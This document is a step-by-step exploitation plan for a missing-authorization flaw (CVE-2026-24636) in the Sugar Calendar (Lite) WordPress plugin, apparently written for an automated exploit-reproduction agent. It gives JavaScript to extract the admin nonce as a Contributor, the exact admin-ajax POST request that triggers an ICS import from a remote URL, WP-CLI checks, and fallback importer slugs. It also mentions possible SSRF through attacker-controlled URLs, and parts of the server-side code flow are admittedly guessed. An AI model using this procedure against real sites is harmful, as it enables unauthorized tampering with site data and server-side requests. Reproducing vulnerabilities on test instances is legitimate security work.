Exploitation Research Plan: CVE-2026-24636 - Sugar Calendar (Lite) Missing Authorization

1. Vulnerability Summary

The Sugar Calendar (Lite) plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 3.9.1. The vulnerability exists in the handler for the sc_admin_importer AJAX action. While intended for administrative use (importing events, categories, and other data), the function lacks a proper capability check (e.g., current_user_can( 'manage_options' )), allowing authenticated users with Contributor-level permissions or higher to trigger data import processes. This can lead to unauthorized modification of calendar data or potentially server-side request forgery (SSRF) if an attacker-controlled ICS URL is processed.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: sc_admin_importer
• Vulnerable Parameter: importer_slug, ics_url (if using the ICS importer).
• Authentication: Required (Contributor level or above).
• Preconditions: The attacker must be logged in and possess a valid nonce for the sc_admin_importer action.

3. Code Flow

The exploitation flow follows the logic found in assets/admin/js/sc-admin-importers.js:

1. Entry Point: The plugin registers an AJAX handler for sc_admin_importer. Based on the JS, this is registered via wp_ajax_sc_admin_importer.
2. JS Trigger: The JS function runImporter() or runIcsImporter() sends a POST request:

   $.post(sc_admin_importers.ajax_url, {
       nonce: sc_admin_importers.nonce,
       action: "sc_admin_importer",
       importer_slug: m.runtime_vars.importer_slug,
       total_number_to_import: m.runtime_vars.total_number_to_import,
       ics_url: m.runtime_vars.ics_url // Used in runIcsImporter
   }, ...);
   

3. Vulnerable Sink (PHP): The server-side function (inferred to be Sugar_Calendar\Admin\Importers\Ajax\handle_import or similar) receives the request. It verifies the nonce but fails to check if the user has the manage_options or edit_calendar_events capability.
4. Execution: The importer associated with importer_slug (e.g., sugar-calendar-ics) is executed, processing data from the provided URL or local environment.

4. Nonce Acquisition Strategy

The nonce is localized in the sc_admin_importers (or sc_admin_ics_importers) object. This script is enqueued on the Sugar Calendar "Tools" page.

1. Identify Page: The "Tools" page is typically located at wp-admin/admin.php?page=sugar-calendar-tools&tab=import.
2. Navigation: Log in as a Contributor and navigate to the tools page. Note: Even if the UI elements are hidden by CSS/JS for Contributors, the script and its localized data are often still loaded if the admin_enqueue_scripts hook doesn't check capabilities properly.
3. Extraction: Use browser_eval to extract the nonce:
   • Target Variable: window.sc_admin_importers?.nonce
   • Alternative: window.sc_admin_ics_importers?.nonce

5. Exploitation Strategy

We will attempt to trigger the ICS importer to fetch a remote file, demonstrating unauthorized control over the import process.

Step 1: Authentication

Log in as a Contributor user.

Step 2: Nonce Extraction

Navigate to the plugin's admin tools page and extract the nonce.

// Browser Eval
return window.sc_admin_importers?.nonce || window.sc_admin_ics_importers?.nonce;

Step 3: Trigger Unauthorized Import

Send an AJAX request to trigger the sugar-calendar-ics importer pointing to an attacker-controlled ICS file (or a valid public ICS URL to demonstrate the action).

Request via http_request:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=sc_admin_importer&nonce=[EXTRACTED_NONCE]&importer_slug=sugar-calendar-ics&ics_url=https://raw.githubusercontent.com/manas-harsh/test-ics/main/test.ics
  

6. Test Data Setup

1. User: Create a user with the contributor role.
2. Plugin: Ensure Sugar Calendar (Lite) <= 3.9.1 is installed and active.
3. Remote Resource: Have a URL for a valid .ics file (e.g., a GitHub raw link) ready to be used in the ics_url parameter.

7. Expected Results

• The server should respond with a 200 OK and a JSON object indicating success or the start of the import process.
• Example Success Response: {"success":true,"data":{"importer":{"status":"completed","progress":...}}}
• If the vulnerability exists, the Contributor will successfully initiate the import, which should be restricted to Administrators.

8. Verification Steps

1. Check for New Events: After the exploit, use WP-CLI to check if events from the ICS file were created:

   wp post list --post_type=sc_event
   

2. Check Capability Enforcement: Attempt the same request without a nonce or with a fake nonce to confirm the nonce check is active but the capability check is missing.

9. Alternative Approaches

If the sugar-calendar-ics slug is not enabled or requires the Pro version, try using generic migration slugs that might be present in the Lite version's code, such as those targeting legacy plugin migrations:

• Slug: sugar-calendar-lite-migration
• Slug: the-events-calendar (if migration tools for other plugins are present).

If the "Tools" page is strictly blocked for Contributors, check if the nonce is available on the main Calendar dashboard: wp-admin/admin.php?page=sugar-calendar.